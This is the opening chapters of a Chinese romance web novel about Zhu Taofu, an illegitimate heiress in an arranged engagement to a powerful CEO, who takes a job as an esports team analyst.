《心软的神》
1. 第 1 章
七月的南方洲安,暑期地铁学生众多,祝陶浮混迹其中,打着哈欠从老城区的地铁口出来,赶往新开的小吃店。
手机屏幕明明灭灭,均为备注为表情“猪头”,外加“哥”字。
来电频率颇有不接电话、誓不罢休的气势。
瞄了眼手机,她没理。
边走边想,昨晚谈论的事情。
对方电竞行业昼伏夜出,跟祝陶浮从事的金融科技,作息相反。
通宵对他来说是家常便饭,祝陶浮则不然。
因而她睡过了,早起排队计划失败。
干燥热风兜头将地铁里的凉气冲得一干二净,祝陶浮困倦地眯着眼,队伍一眼望不到头。
手机屏幕,再一次亮起。
以往,祝陶浮要么不接电话,要么消息当没看见。
“你和梁以盏都到了结婚年纪,什么时候能真正定下来?”
“圈子里越来越多传你两婚变,梁以盏从国外回来,把他爹刚送病床上半死不活,又扳倒他那妄想夺权的两位长兄,新官上任自然分身乏术。”
“但你就不能四处多多走动,比如今天中午的聚会,经营一下订婚关系?”
“祝陶浮,别以为前几天替我分析财报数据,现在就能装死混过去,你这是要活守寡啊!”
估计昨晚没睡好,聊天风格还没从游戏转过来。
面对他聊天框里、老生常谈的催婚消息,祝陶浮迟来地调侃了一句。
“不好吗,升官发财--”
常见流行说法,是升官发财死老公。
敲击手机屏幕的指尖微顿,祝陶浮想了想。
名义上的未婚夫,跟自己无冤无仇,遂将“死”字改成“没”。
法定男女结婚年龄,分别是二十二和二十,梁以盏和祝陶浮堪堪过线两年。
到“猪头哥”口中,像过了二十年那样长久。
然而祝陶浮就怼了一句,“猪头哥”电话跟过来了。
地铁人多不方便,何况祝陶浮觉得讨论这个话题没意义,打算一如既往、对豪门之间的聚会邀请,视而不见、听而不闻。
她不是本地人,好友说这家店有来自中部地区的家乡特色,让她吃完替自己带一两份特色小吃。
现在流行低脂健康,祝陶浮以为碳水和糖油应该不会是都市人的心头好。
奈何不知道是人们出于对新鲜事物的热情,亦或是社交平台网红博主探店宣传,小店门口服务员拉起弯弯绕绕的临时围栏线,维护拥挤的排队秩序。
一时半会儿排不到自己,熬夜迟缓的大脑,后知后觉运转。
祝陶浮回想起这次聚会的私人会所,好像就是在附近一处高楼顶层。
又热又困,祝陶浮路过早餐店就喝了杯豆浆,就指望着这顿。
抱着蹭饭蹭空调、吃完免费午餐估计队伍就差不多的念头,在“猪头哥”第四次电话响起时,祝陶浮接了起来。
起初入学家庭关系表,她一个家人都没填,差点被辅导员亲切关心,误认为是父母双亡的特困家庭。
她只好胡乱再次填写,真姓假名糊弄过去。
跟祝家没什么联系,顶多同父异母、年长四岁的兄长,出于她商业联姻的利益利用,代表祝家或是他自己,找上祝陶浮,进行公事公办客观谈判。
从高中被接回祝家,为避免牵扯,她就在“猪头”表情后面加了个哥,隐晦表示是血缘关系的亲兄。
“何意味,从来没听你提起你哥?”
“小桃桃,你这么漂亮的大美女,亲哥肯定很好看!”
“就是,你性格佛系,那你哥哥多半也是温柔挂?”
“把照片给咱瞅瞅……或许,介绍认识一下?”
……
种种猜测,祝陶浮表示,基因有遗传和变异,对方就是那后者概率。
人如其名,猪里猪气,还是只自私刻薄冷傲猪。
冷傲猪在某次撞见此备注,冷漠报复回去。
给祝陶浮也备注为,“猪头”表情加“妹”字,嫌弃她是懒猪。
此刻,“猪头哥”嗓音低沉磁性,冷飕飕从手机另一边传过来。
“怎么,大忙人终于有时间接我电话了。”压抑火气,祝峥冷着声调嘲讽。
“你那小破公司是要倒闭了,吃个饭的空档都挤不出来,周末还要靠你这个实习生顶着。”
知道她实习在一家小企业,工作任务纯属混日子,不存在没时间赴约的情况,祝峥才出言讥讽。
本硕是中部地区省城高校的数学系,祝陶浮可以借口路途遥远,缺席豪门圈交际聚会。
然而订婚快四年了,祝陶浮研二下半年开始实习,祝家自然要安排她回到南方沿海的洲安市。
回是回来,祝陶浮自己找的实习,不在祝家,也不是梁氏名下。
聚会或是工作,梁以盏不强求,祝家也不敢进一步动作。
停止听他絮叨,祝陶浮径直打断:“我到了。”
--
等祝陶浮真正走进会所,是四十分钟以后的事情。
她被祝峥押着回去换行头—
梁以盏给祝陶浮配置的房产,每一处的奢品珠宝一应俱全,其中一所就在附近。
尽管祝陶浮替他把公司数据条分缕析,然而明晃晃下降的结果,令祝峥头痛。
尤其瞧见,始作俑者一身加起来不过百、全靠颜值撑着的t恤长裤,好不容易平静的太阳穴,又开始突突直跳。
先见之明,祝峥直觉她会掉链子,早早在顶楼入口大厅守着,才有机会当场把人重新塞回会所的私人电梯。
外人夸他们兄妹感情好,同父异母都能和谐相处,几步距离祝峥还离席,亲自去电梯口接。
至于真夸假夸,豪门圈子从来都是虚情假意、利益至上。
“订婚的时候,光明面上梁以盏给的,都该是你这身往后加个亿为单位,你钱花哪了,穷鬼变赌鬼?”祝峥瞥嗤了声,十分瞧不上眼。
他言语刻薄,祝陶浮浑不在意:“百亿补贴买的,怎么不算百亿。”
“……什么贴?梁氏破产了,用你倒贴?”经济实力用不上网购,祝峥没空也不感兴趣,继续出言讽刺。
“还有,换装记得喷点符合你年纪的甜系香水,搞得冷冷清清,你是要出家?”
在他看来,便宜妹妹这四个字,简直是为祝陶浮量身定做。
除了她那张脸瞧着娇美矜贵,漂亮艳丽得不食烟火。
平平地哦了声,祝陶浮没放心上:“是啊,你说的嘛,我活守寡。”
祝峥:……
“……你这种讲话方式,梁以盏怎么能忍这么久,没被你气死,也没把你弄死。”
闻言,祝峥闭上眼,心累眼不见为净。
片刻,祝陶浮慢慢补充:“不说话不就好了。”
祝峥:“你……”
“哟,祝少,又换人了,这搭得哪位美女啊?”
一声油腔滑调的叫唤,打断两人对话。
厅堂另一侧落地玻璃连接着户外泳池,阳光下男人长相尚可,然而眼下浓重的黑眼圈,浮肿着与年龄不符的纵欲过度,所以也未看清祝陶浮的具体模样。
左拥右抱着网红美女有说有笑,进屋后她俩识趣地替男人递酒擦头。
“晚上在避暑山庄的泳池派对,一起来啊。”
祝陶浮能感受到,身边男人的气息陡然间锋刺凛冽。
转身冲电梯外打招呼时,英俊眉眼端得是轻佻风流,笑意却不达眼底。
“行啊,回见。”祝峥嘴上答应爽快,实际没把邀约当回事。
晚上派对全是一帮不务正业的二代,一夜情过的利益算不上称量。
放以前祝峥会随意随性,玩玩而已。
但最近祝家生意弄得他有些焦头烂额,分不出心思。
外界看在梁氏集团的面子,祝家跟着水涨船高,这几年保持着稳定合作。
当与梁氏联姻隐隐有风雨飘摇之势,利字当头的商界,自然而然开始有所行动旁敲侧击。
中午聚餐的会所成员,还算洲安有头有脸的人物,刚那二货代替他生病的爹赴宴,才混了
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进来。
喊来的两网红更是不在中午聚餐范围,仅仅作为男人临时消遣。
电梯门缓慢关闭,宽敞安静的轿厢只剩两人。
气氛再次渐渐恢复原本的温度,祝峥似乎心情好了一点。
这与自己没关系,祝陶浮并不出声搭腔。
习惯沉默不语,站在角落默默发呆。
“祝陶浮。”
她装死,祝峥偏不让。
点她姓名、眼神未落在她身上,祝峥低头拨弄手机忙着回复工作消息,语气闲散而平淡,状似聊得不是什么大事。
“管你是装傻,还是真傻,跟梁以盏走不到最后,刚你见到的那类货色,将会成为你结婚对象。”祝峥。
看她默不作声,祝峥自顾自往下:“见异思迁、人不如新,男人劣根性,再正常不过。”
丝毫不觉得把自己骂进去有什么问题,祝峥自嘲地扯了扯嘴角:“你要是觉得,和梁以盏高中那点情分,能够维系长远,那真的太假了,都过去多少年,当下抓住才是真。”
“婚姻不过是利益交换,换谁都一样,到时候还不如他。”他撇清利弊,意图点醒糊涂人。
叮的一声提示,电梯直达一楼。
司机早已将车停泊门口,侍者礼貌弯腰打开车门。
知晓梁以盏不喜外人打扰,祝峥没有一同前往。
隔着车窗,他提醒亦敲打:
“这次,你不会等到下一个梁以盏。”
“我已经让你逃过一次。”
--
中心地带寸土寸金,顶楼跃层视野宽广,将整个洲安城的繁华一览无余。
午后阳光灿耀,高耸楼栋鳞次栉比,江水潺潺环绕,波光粼粼,浮光跃金。
硕亮宽敞的衣帽间,分门别类陈列着各个奢牌最新款式。
前来频率寥寥无几,祝陶浮不太清楚其中弯弯绕绕,快速就近找了件长裙搭配首饰,尽量符合祝峥“显贵”要求。
身上架着她打一辈子工、都负担不起其中一套的饰物,祝陶浮踩着平时不会穿的高跟,格外小心翼翼。
就连从包里翻出手机,都尽量避免磕碰到中指上的钻戒。
一连串消息来自好友,她手机翻看的速度,赶不上好友上班摸鱼、敲击键盘的频率。
最新一条蹦出来,祝陶浮看得一愣。
手指没握住手机,差点让它滑落、磕碰到腕骨处的翡翠手镯。
不至于撞碎,但上好剔透的成色会带有痕迹。
祝陶浮没把它当作自己所有物,担心价值因此贬损。
在上千块手机和上千万手镯之间,祝陶浮动作比脑子快,本能抢救价格高的后者。
手机啪地脆响,砸在大理石走廊。
聊天框开头是几张抓拍的照片,弹出末尾信息是室友吐槽--
“卧槽,凭啥年轻帅气又多金,让资本家全占了,而咱们给他们打工,只剩苍老疲惫和多病!【怒火.jpg】”
“好在老天有眼,上帝打开一扇门,还是给他关了一扇窗。【死亡微笑.jpg】”
“据小道消息,梁以盏英年早婚,但未婚妻是联姻硬塞给他,本人并不满意。因为新闻里他上任后,他爹和长兄们都滚蛋了,足以见得对家族内斗很是厌恶。”
拍照视角遥远,模糊程度显示摄影人心情激动而手有些抖。
几张照片勉强抓拍到对方侧颜,公司走廊上,乌泱泱人群里,簇拥着的中心位却清晰而惊艳。
他眉骨深挺、轮廓凛冽,剪裁精良的手工纯黑西装,衬得宽肩窄腰、身高腿长,挺拔凌厉得让周围一切黯然失色,沦为模糊背景。
正冷淡沉静路过,却又无声无息与周遭喧嚣,划开分明漠然的界限。
其中一张照片,镜头对焦较准,不知是光线还是角度原因,幽深瞳色并非常见的黑沉浓墨,而是睫羽掩映泛着冷灰阴影。
似乎有所察觉,轻瞥过来的一眼,呈现出无机质般透彻锋寒。
室友补充:“所以气质过于冰冷,活脱脱像个鬼夫.【幽灵.jpg】”
2. 第 2 章
梁以盏的气息暂时顾不上,祝陶浮只觉得自己快要不能呼吸。
买手机壳送的钢化膜的确够钢,膜没碎屏幕碎了。
屏幕不仅碎裂,甚至随着膜揭开,零星落下细碎颗粒状在地面。
手机屏幕一亮一暗,消息源源不断。
来自她本科室友许若歆,两人都来自中部地区,同省不同市。
跟祝陶浮在郊区混日子科技园不同,她在市中心江对面的互联网大厂。
高薪水配合高强度,双休加班哀嚎生无可恋,祝陶浮买点家乡碳水,安慰一下她泛酸的胃。
聊天框里消息噌噌,往日都是吐槽领导同事的奇葩行为,这次颇为不同。
“但我还是要第10086次表示,怎么这么帅!好浓艳的五官,好长的腿,好有冲击性【色.jpg】”
“分管我项目的+2,跟着分区boss出差,她没资格上会,但远远瞧见了那个传说中梁氏集团的新任董事。”
“她忙得昏天黑地,这时候返程高铁,才有空把照片传在我们项目组小群里。”
“帅哥作为全人类的资源,我必须第一时间分享给你。”
“以前当是财经照骗,可我+2那拍照水平,都能感到溢出屏幕的帅气【这河里吗.jpg】”
屏幕碎了,万幸触碰功能尚存。
祝陶浮还能将就着避开裂痕,小心打字免得划破手指。
官方修理太贵,祝陶浮心思全在修理手机屏幕上。
坐在前往会所的车上,她一边搜索哪家小店报修便宜,一边抽空跟着回了个表情包:
“【这盒里吗.jpg】”
+2出差,带教仍然小窗她布置任务。
许若歆苦哈哈地装作在电脑上对接项目,实际与祝陶浮微信八卦。
“话说回来,他那倒霉蛋的未婚妻,到底谁啊,都没对外公开。”
住处离会所不远,聊天空隙很快到头。
刚被亲哥训“活守寡”,而名义上的另一半,又被好友解读为“鬼夫”。祝陶浮想了想,着实无语凝噎。
下车前,回复许若歆一个【猫猫流汗.gif】。
--
顶楼会所是云端的另一个世界,私人空间静谧而宽敞,隔绝外界燥热与喧嚣。
聚餐在里面一处奢华偌大的包厢,地毯上推车安静地将新鲜食材源源不断运送。
主厨现场烹饪,会所经理殷勤介绍美食缘由,侍者训练有素举止轻盈地一道道传递至桌前。
昂贵巨大的瓷盅盛放着小而精致的菜肴,桌上宾客品酒谈笑,菜品不过是辅料。
插不进话、也不喝酒,祝陶浮目的与其他人不一样,就是吃饭。
餐点份量小,上得还慢,夹杂着唱曲似的品鉴,对于干饭人祝陶浮,吃了跟没吃差不多。
此行属于赔了夫人又折兵,饭没吃好、倒贴手机,祝陶浮心里盘算滴血。
“诶,今天可真是太阳打西边出来,祝家小姐竟然赏脸来聚会,荣幸,荣幸至极!”
“百闻不如一见,一见惊艳四座。”
“怪不得祝少从来不把人带出来,要我有这么漂亮的妹妹,我也会宝贝地收藏,是不是啊?”
“哈哈哈,对对,我也是!”
“一样一样!”
……
轻摇着玻璃杯的手指骤然收紧,祝峥听出来调侃里的画外音。
面上浅笑愈发深重,侍者很有眼力劲地替他倒酒。
“既然都这么讲,那的确是我的过失。”他爽快地将酒液一饮而尽,转头看向左手边的祝陶浮。
眼里满是宠溺微笑,模样像极了宠爱妹妹的好哥哥。
“顾念着她学业繁忙,才没带她出来跟大家见面。”言语间尽是无奈惋惜,颇为体现作为哥哥的爱护关切。
众人攀谈喧笑,祝陶浮则始终低垂视线,落在她手边前方的小片区域。
外人瞧着,清黑眼眸淡淡半阖,雪肤乌发下艳冶眉目冷静安敛。
似一幅古典静雅却又活色生香的画卷,不知道在思索什么。
然而离她最近的祝峥,看得一清二楚,分明是假高冷、装深沉。
侍者们每次添置分切,祝陶浮碗里的菜品都是第一个空的。
其他人骨瓷盘分装着各式佳肴,祝陶浮那里则是侍者时不时换掉吃剩无几的残羹、而新放的餐盘,也是空的。
最新呈上的一道鲜汤,据说是今天主位的宾客,上周亲自海钓的活鱼。经理特意从主位按顺序,依次往下来到每位宾客座位旁,亲自舀递服务。
祝峥和祝陶浮坐在不上不下的中间位,再加上浓汤滚烫,她喝下去的速度变得缓慢,碗里才不至于落空。
知晓真相、她只是在想下一道菜到底什么时候上来,祝峥:……
当初把祝陶浮接回祝家,是祝老太太令大师筹算,她命格兴旺祝家,跟祝夫人僵持许久,才认回她私生女的身份。
祝家的确依靠梁氏度过了经济危机,但祝峥怎么觉得,祝陶浮跟自己八字犯克?
几十分钟前,祝峥交流提问,祝陶浮的回答,是“不说话”。
几十分钟后,众人聚餐试探,祝陶浮则身体力行,“不说话”的答案。
沉默。
是不善言辞的蠢笨,还是以不变应万变的大智若愚。
这丫头分析报表数据的聪明劲儿去哪了,祝峥心里无奈叹气。
宴请里都是各怀算计的老狐狸,碍于梁以盏的身份,不会让祝陶浮难堪。
周围一干人等全当看个笑话,毕竟梁以盏都着手把家族沉疴肃清的七七八八。
下一个抹杀对象,可不就是眼前,这位当初梁氏为了掣肘、而硬塞给他的未婚妻。
—
留下众人琢磨巧合,祝陶浮只想着巧克力。
借口去洗手间,实则前往专为千金贵妇们准备的休息室。
包厢里花里胡哨的菜品固然营养美味,但祝陶浮饮食习惯碳水,偏偏面食茶点到最后才上。
估计小吃队伍差不多到头,祝陶浮打算提前偷溜。
不过来都来了,手机坏了,饭不能不吃饱就走。
休息室里摆放着昂贵精致的甜点,剩余当天都会处理掉。
觉得浪费了可惜,其他甜点祝陶浮不方便携带,唯有包装好的巧克力她能顺走,到时候跟小吃一起带给许若歆。
两人在洲安逛街,买过一次这个牌子的榛果巧克力,一丁点就花费几百块钱。
可惜配裙子的手包功能是好看、不是好装,不然她还
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可以多塞几份。
休息室的门从外打开,皮鞋落在绵柔地毯无声无息。
这个时间点,只有祝峥才会离开饭局过来找自己。
赶在他出言教训以前,祝陶浮迅速咽下手里的半块蔓越莓司康,含糊开口:“我待会儿自己打车走,不用你送。”
来人踱步至她身侧,漫不经心地应声,嗓线冷清喑哑:“嗯,那就不送,过来接。”
随即在她身旁落座,祝陶浮感到沙发微微陷落,心也跟着一沉:
不对,这声音是……
猝然抬头,撞进对方垂瞥的眼眸里。
漆灰沉静,似傍晚天色将暗未暗之时,遥远而广袤深空,灰蒙蒙的天际。
模糊晨昏界限,冷清神秘,却又引人沉沦。
先前好友描述的浓颜冲击,是由于梁以盏抽中了基因彩票,遗传了父母各自优越点,尤其是母亲那边极小概率的祖上混血。
他那两同父异母的兄长们,就没那么好运,无论长相还是事业。
达尔文的进化论,最顶级的梁以盏,站在了梁氏集团的最顶尖。
“你怎么来……咳咳……”
不速之客出乎意料,祝陶浮一下子止不住呛咳。
冷白修长手掌,轻轻抚上她瘦削颤抖的颈背。
安抚性轻拍,同时递过来一杯温茶,令祝陶浮顺气止咳。
“……谢谢。”连忙接过茶杯一饮而尽,祝陶浮没有留意唇边残存着点点水珠。
她皮肤薄而细腻,稍稍呛咳的细微动作,会连带着上脸,眼尾湿润、脸颊泛红。
灯光下,沾了水的嘴唇又红又艳,看起来饱满欲滴,格外好亲。
感觉到唇边温热触感,祝陶浮垂下眼睫,梁以盏在用手帕,替她轻轻擦拭。
隔着轻薄丝绒,是他指腹的温度,清晰而凛冽。
有些微烫。
下意识地往后挪了挪,祝陶浮从他手里接过手帕,胡乱随意地抹了两下,浑然没有他的缓慢摩挲:“……我自己来,就不麻烦你了。”
梁以盏没有多言,浓长眼睫淡淡压下阴影,任随她去。
“所以……你怎么来了?”
其实跟祝峥电梯里说的是实话,她跟梁以盏真的没有太多话语。
可能有过,那也是订婚以前的高中时期。
以前到,是六年前,遥远得是上个世纪。
好比这句询问,祝陶浮自觉属于没话找话。
梁以盏去留跟自己没关系,她没理由过问。
闲散撩起眼尾,梁以盏看着她,平静地说:“来接你。”
还是一样的回答,说接她。
仿佛是寻常伴侣间、平常似水的日常。
但并不是。
茶几上手机震动,拨回祝陶浮短暂纷乱的思绪。
她看了眼,破碎屏幕还能识别解锁,勉强显示又是好友工作吐槽。
不知怎么,她莫名联想起许若歆说的,鬼夫二字。
而此刻,主人公就在……
一方崭新手机盒,忽然横亘在茶几上,推了过来。
祝陶浮愣怔,将注意力从聊天框脱离,抬眸再次望向身侧之人。
梁以盏眉眼垂睨,深眸低瞥向她。
“在笑什么。”
3. 第 3 章
洲安市中心与郊外分界线是星落大道,科技园区分布着大大小小的新兴产业。
传统制造业位于方向相反的对角,老牌资本和互联网大厂在更为中心的地带,大部分只是由科技园的水平分散压缩成竖直排列,拥挤在同一栋楼。
极少数如梁氏集团家大业大,才能占尽风水宝地,豪横地独享整片地带。
祝陶浮所在的地方,企业要么卷生卷死,妄图更进一步。
要么就是养老式节奏,摆烂渡活,她选择的是后者。
hr就连招聘公告都是姜太公钓鱼,愿者上钩。
堪堪放出一个实习岗位,还不能转正,偏偏让祝陶浮这条漏网之鱼游了进来。
这家金融科技公司老板放养式管理,常年不在国内,交给职业经理人打理。
几十人的规模,基本都是本地人没有房贷压力、找个班上混日子。
像祝陶浮这样外来打工者,实属罕见。
起初同事们会关心八卦,以祝陶浮的高学历投个大厂应该绰绰有余。就算洲安人才济济、top学院屡见不鲜,仍有不少热门公司可供选择,怎么跑到他们这座小庙。
“去看比赛方便啊。”迎着周遭好奇的目光,祝陶浮坦然回答。
据她所言,靠近郊区,而且科技园有统一的中介介绍房源,合租便宜就几百块,实习工资覆盖尚有结余。
场馆就在附近,三站地铁的距离,公司五点就能下班的作息,完全能赶得上当天比赛的中场休息。
电竞比赛是bo3,可以看四个队伍的半场加一整场;要是bo5,就是两个队伍的全场,仅仅会错过第一小局。
什么bo3、5的,同事们不了解也不感兴趣,顶多听说过教辅的五三资料。
不过听懂了祝陶浮此行打工的意义,是出于兴趣,而非职业规划。
可看她平时吃穿用度,并非是不在乎金钱的大小姐,虽然脸蛋漂亮精致,符合千金定位。
自然而然,一些热心同事,介绍本地男士给她认识,帮祝陶浮牵线搭桥。
美其名曰“优质资源”,可以少奋斗几十年。
然而都被她笑着,一一婉拒了。
不知到底是心有所属,还是另有打算,渐渐地,牵红线的同事们偃旗息鼓不再过问。
面上依旧笑意盈盈,闲聊诸如孩子、亲戚等没什么营养的八卦,背地里暗嘲祝陶浮不识好歹。
小姑娘仗着年轻作为资本,人终究老去,实习岗位平平,且非转正的长久之计,他们权当个笑话看。
一潭死水的公司,好处是平淡,坏处亦然。
同事之间关系淡泊,下班了各回各家,在本地经营各自的交际圈,互不交涉打扰。
对于祝陶浮来说,倒也落个清净。
尤其是这几天,祝峥总算没有隔三差五发消息,明示暗示耳提面命“梁以盏”三个字。
哪怕那天梁以盏并没有出席聚餐,但与祝陶浮共同现身会所,祝峥已然非常满意。
午餐领导同事有的自己带饭,有的去几公里外商圈聚餐。
祝陶浮图便宜省事,就近园区公共食堂。
零星有同事偶尔去食堂,会跟祝陶浮一道,今天饭搭子是hr。
“诶,小浮,你换新手机了。”
桌上四人,祝陶浮和 hr,还有三室合租的两名室友。
那两位室友与祝陶浮轻松的工作环境截然相反,晚出晚归,因而错开作息时间,中午吃饭才发现祝陶浮换了新手机。
“还是最新款,价格是你以前那个旧手机,三倍多吧?”另一个室友,好奇询问。
hr在一旁开玩笑:“不会就是因为这个,所以要多待两天,赚回本儿吧?”
对于祝陶浮来说,还真不是玩笑话。
九月开学是研三,她选的导师属于放养式教育,课题组定在十一以后碰头。
原打算八月底结算工资返校,因为她不想再待在洲安。
这次离开以后,永远不会回来定居。
但手机摔碎,打乱了计划。
她不想欠梁以盏,哪怕一个手机对他而言,无足轻重。
可惜接她回去的车上,秘书眼疾手快帮忙拆封换好,否则祝陶浮准备悄悄找个机会退回去。
“那只怕两天不够,要两个月才够。”祝陶浮苦笑。
公司比较人性化,hr也没有多为难,要是祝陶浮选择多待几天,依旧按照考勤结算工资。
因为祝陶浮不确定俱乐部试训的分析师岗位,能不能通过。
要是没过就继续在这家公司,周末接些兼职教培,九月完差不多能赚回手机钱。
来洲安的大半年里,她可以像大学时期,周末打些零工。
但就跟她没有选择待遇更好的公司原因一样,祝陶浮自觉性格闲散,属于低高精力人群。
有份工作能混口轻松饭吃,不想过于折腾。
有时候卷,是被迫卷。
当遇到自己,感兴趣的时候。
去年校招,各行各业的优秀企业纷至沓来,应接不暇。
其中,不乏热门游戏行业。
虽然未到毕业季,但就业难题萦绕在每个学生心头。
同学们说提前瞅瞅,感受就业氛围。
拉上祝陶浮一起,她便跟着去凑热闹。
“现在就业环境差得不行,你怎么一点不着急啊。”同学们讨论地热火朝天,线上翻看校内的就业实习网站,线下在各个摊位前比较咨询。
“在哪里都是混口饭吃,饿不死的。”祝陶浮没那么焦虑,显得优哉游哉。
彼此之间互晓情况,她的家境不足以帮忙提供工作。
平时祝陶浮勤工俭学,却又不至于到特别辛苦到亏待自己的地步。
同学们判断,应该是家庭氛围轻松,给不了太多钱,能给很多爱。
“唉,你啊,有个哥哥顶着,爸妈宠你,家里能托底,所以才不担心哦。”同学忧愁,如是猜测。
祝陶浮笑笑,没有应答。
全程梦游似的跟着同学,直到观察到宣讲预告,其中的一个时段是电竞游戏,祝陶浮才回过神来,恢复自主意识停下。
现在很多游戏战队都对外招聘,但要在高校单开宣讲会,基本都是豪门战队。
QSG战队宣讲会在校内活动中心,大屏投影着本次校招岗位:运营、财会、法务……
祝陶浮听完,尝试扫码投递,二队分析师。
这一试,在战队分析师群里,待了一年。
在赛训组里,按等次划分:主教练、副教练、监督,最后才是分析师。
二队跟一队则天差地别,工资亦然,分析师是最底层。
如今联盟颇有青黄不接的意味,一些俱乐部一队都保不住,遗憾潦草退场。
QSG战队能维持二队运转实属罕见,薪水开得自然一般,在高消费的洲安,勉强支撑日常生活。
所以分析师的岗位,预计在其他普通学校招聘理工类专业,并没有在高校录用的打算。
对于名校毕业生,性价比太低。
工资不高,吃青春饭,并且不是什么大众化职业,再就业容易脏简历,浪费应届生资格,招聘负责人没有把祝陶浮的投递当真。
不过还是象征性将祝陶浮拉进QSG的赛事群,作为后备资源。
说是后备资源,实则游戏爱好者聚集,每逢比赛在群里聊分析见解。
对于游戏分析师,段位不用像选手那么高标准,主要是进行数据分析。
投简历是临时起
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意,套用软件模板制作匆忙,里面的姓名、为了比赛取的英文id、联系方式以及游戏段位,这些是真实存在。
剩下照片、简历等等都是模板自带。
英文id是“bless”,祝陶浮微信头像是山水田园。
颇具诸如“上善若水任方圆”“随心自在”“笑看人生”老年表情包的风味。
平时群里潜水,祝陶浮比赛时段才会在群里寥寥几句,却将选手的打法风格、游戏版本更新的痛点等等问题一针见血。
精准预测走向,终结比赛讨论,令群里一众争吵哑口无言。
久而久之,祝陶浮被群里人取外号,“尬的”。
谐音god,寓意神预测,也调侃让大伙、尴尬无言以对。
“尬的老哥,这把ban pick选什么?”
玩家们注意到,QSG战队自然留意。
一队分析师已婚,妻子在老家怀孕待产,原本是趁着十月休赛期,回到老家陪伴。
然而预产期提前,分析师也远没有自己预料中的淡定从容。
做了很多功课,作为准爸爸的分析师,依旧免不了紧张担忧,十分操心远在老家的妻子状况。
无论如何,分析师拖不到十月休赛期离开。
二队和青训的分析师,达不到一队正式比赛的要求。
可以从外部引进,但国内外联赛均已接近尾声,市面上好的分析师早已挖掘干净。
不乏民间高手博主,平时赛训组时不时会联系,但自媒体博主比分析师赚得多,时间自由,还不挨骂。
赛训组同管理层几番讨论,发现了bless的存在。
之前联系上岗,祝陶浮没有这个打算。
现在手机飞来横祸,不得不为钱留下。
其他条件谈得差不多,唯一问题是住宿。
“老哥,我们队都是双人宿舍,目前只有分析师走后,床位空出来,室友是青训教练,ok吗?”领队看群里都以老哥相称,顺口叫唤。
战队需要盈利,大部分为了节省开支,位置偏僻空间偌大。
少数会设在昂贵地段,空间就会压缩。
QSG战队地理位置优越,即便是明星选手,同样是双人间。
这让祝陶浮犯难:靠近战队的合租单间,最差的三千往上。
稍微远点的租房,电竞昼伏夜出的作息,公共交通三更半夜不营业,打车通勤费用是一笔开销。
盯着QSG战队地址,脑海里浮现出一所住处。
虽然是她名下,但是别人购置,总觉得不是自己的,得知会他一声。
点开微信聊天框,对方并不在常聊的范围,需要搜索才能找到。
头像空白,点开聊天内容也是空白,跟祝陶浮的山水老年风,半斤八两。
除了备注,是盏“茶”。
还是高中时的备注,梁以盏见了也给她改成表情符号,祝陶浮不知道是什么。
思来想去,极为客气“你好,打扰你一下”的开头,接着公事公办说明来意。
“工作在附近,想跟你一起住。”
生怕态度不够诚恳,祝陶浮想了想,又补充一句,避免耽误到他。
“你放心,我睡完就走。”
对方日理万机,每天都要处理庞大而繁复的事务。
自己借住在他眼里估计都算不上事,何况他公司附近就有房产,犯不着冲突,祝陶浮想。
手机屏幕暗下去,在她走神的片刻,又亮了起来。
祝陶浮拿起手机查看,消息来源一愣,没料到他这么快就会回复。
点开消息内容,祝陶浮更是怔住。
都是汉字,但组合一起她看不太懂。
“怎么,下床不认人。”梁以盏。
4. 第 4 章
“小浮,聊什么呢,这么入迷。”室友见她低头拨弄手机,表情还一脸认真严肃。
“不会……是谈男朋友了吧。”坐在对面的另一个室友,隔空拍了拍她,调笑八卦。
“啊,什么。”回过神来,祝陶浮熄灭手机,重新加入群聊。
hr在旁边笑着解释:“刚刚她们问你,周末要不要一起出去玩。”
祝陶浮思考了一下,离线下试训还有几天,于是点头答应了。
hr则遗憾摇头:“那你们玩的开心,我就不去了,我老公他经常出差,就只能我带孩子去上兴趣班。”
“姐,一起去吧,难得周末,你天天都接送孩子上下学,让自己放松一下。”祝陶浮看出她犹豫的神情,提议说:“就在你孩子补习的那个商场逛逛,不会耽误很久的。”
“就是,姐,我们也很好说话的,你不用担心跟咱没共同语言。”两个室友也纷纷邀请。
见她们如此热情,hr想了想,便答应了:“那我中午接孩子吃个饭,把他送到另一个补习班后,下午和你们玩会儿。”
“好耶!”剩余三人异口同声欢呼,hr也跟着笑了。
“就是我们晚餐估计得早点吃,他晚间在另外的地方还有钢琴课,每次都是我给他把饭用保温桶装好,在车上吃的。”hr补充道。
室友感慨:“现在的小孩太卷了,吃饭都分秒必争啊。”
hr苦笑,无奈道:“没办法,大家都卷,只能跟着卷。”
“这也是我选这家公司的一点好处,虽然工资同等条件下少了些,但能多点时间,陪伴孩子吧。”hr说。
“对了,你们住的具体位置在哪,我忙完了过来接你们。”hr。
她们三人接连摆手,hr过来反而绕路,地铁出行方便快捷,约定直接商场见。
--
商场地段在远离中心的长夏路,属于中等规模。
周围高楼矮房间错分布,学校档次参差不齐,吸引的顾客范围多为学生和工薪阶层。
几人在里面晃了一圈,手上或多或少多了衣服的礼品袋,只有祝陶浮依旧抱着奶茶杯,兢兢业业替大家拎包拿物。
“小浮,你不买点什么吗?”室友抱着几件衣服,在镜子前来回比较。
祝陶浮则一进店里,就坐在休息区沙发上,跟着乐呵呵。
“算了,网购的也差不多,还便宜。”祝陶浮。
“美女,就算是同一个牌子,线上和线下渠道不一样,实体店质感更好哦。”店员在一旁热情销售。
“长这么漂亮,你看我们这件新款和你挺搭的,来试试嘛,试穿和看的效果不一样的。”店员。
祝陶浮叹了口气,道:“哎,没钱。”
理由过于实诚,店员推销的话术一时哽住:“额……”
另外室友打圆场:“她刚买了新手机,这个月超支啦。”
hr也笑道:“没事,小浮这张脸,穿什么都好看,无所谓。”
各自买到自己心仪的东西,离晚饭时间还有一段,在路过一家大众射击店,室友们跃跃欲试。
“双人团购会便宜点,刚好我们四个,你两也来玩玩吗?”
于是四人进店,在教练的指导下,进行模拟演练。
最便宜的套餐,枪支是最基础的手枪,难度小,上手容易,其他人还满头雾水地听教练讲解,祝陶浮已经熟稔地装弹射击。
砰地一声。
第一发,正中靶心,标准十环。
接着一发接一发,体验价的十发子弹全部打空,每一发都在最中间的红心留下刻痕。
祝陶浮摘下隔音耳罩,室友们围过来惊叹:
“哇塞,小浮,你可以啊,这一下就是十环!”
“平日里看着柔柔弱弱的,下手也太神了吧,怎么这么厉害!”
祝陶浮笑了下:“运气好而已。”
“十发都是十环,这运气得好成什么样,未免太谦虚啦。”hr眨眨眼,开玩笑道。
“就是,美女一看就是练过的,姿势和动作相当标准啊。”教练在旁边点头,给予肯定。
